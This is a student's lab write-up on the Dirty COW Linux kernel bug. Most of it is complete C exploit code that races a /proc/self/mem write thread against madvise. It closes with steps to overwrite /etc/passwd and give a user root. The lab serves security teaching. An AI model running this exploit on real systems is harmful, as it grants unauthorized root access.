Dirty COW Attack Lab
存在于linux内核(2007年),被发现和利用于2016年
漏洞存在于内核的copy-on-write技术
通过这个漏洞,攻击者可以获得root权限
实验基于ubuntu12
Modify a Dummy Read-Only File
目标:使用Dirty COW漏洞对一个只读文件进行写操作
Create a Dummy File
Set Up the Memory Mapping Thread
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);
// Map the file to COW memory using MAP_PRIVATE.
//将已经打开的文件描述符f的文件状态复制到&st指针指向的数据结构中
fstat(f, &st);
file_size = st.st_size;
//mmap()将一个文件或对象映射进内存,成功返回被映射区的指针,失败时返回-1
//参数1:映射区的开始地址,设置为0表示由系统决定
//参数2:映射区的长度,单位是字节
//参数3:期望的内存保护标志,不能与文件打开模式冲突
//参数4:指定映射对象的类型,映射选项和映射页是否可以共享,MAP_PRIVATE不会影响原文件
//参数5:有效的文件描述符
//参数6:被映射对象的起点
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "222");
// We have to do the attack using two threads.
//pthread_create()创建线程,在线程创建后就开始运行相关的线程函数,成功返回0,失败返回-1
//参数1:指向线程标识符的指针
//参数2:设置线程属性
//参数3:线程运行函数的起始地址
//参数4:运行函数的参数
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
// Wait for the threads to finish.
//pthread_join()等待线程结束,成功返回0,失败返回错误号
//参数1:线程标识符,就是线程ID
//参数2:用户定义的指针,用来存储被等待线程的返回值
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Set Up the write Thread
void *writeThread(void *arg)
{
char *content= "***";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
//lseek()控制文件的读写位置
//参数1:已经打开的文件描述符
//参数2:偏移量
//参数3:SEEK_SET将读写位置指向文件头后再增加offset个偏移
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
The madvise Thread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
//madvise()建议内核如何处理一段地址范围的页面输入输出,成功返回0,失败返回-1
//参数1:起始地址
//参数2:地址长度
//参数3:建议,MADV_DONTNEDD此范围内的页面在后续访问将会成功,但将导致从存储重新加载底层映射文件
madvise(map, file_size, MADV_DONTNEED);
}
}
Launch the Attack
Modify the password File to Gain the Root Privilege
同理,修改/etc/passwd文件,将用户gu-u12的uid gid由1000修改成0
当有用户test1切换到用户gu-u12的时候,将会看到gu-u12已经获得root权限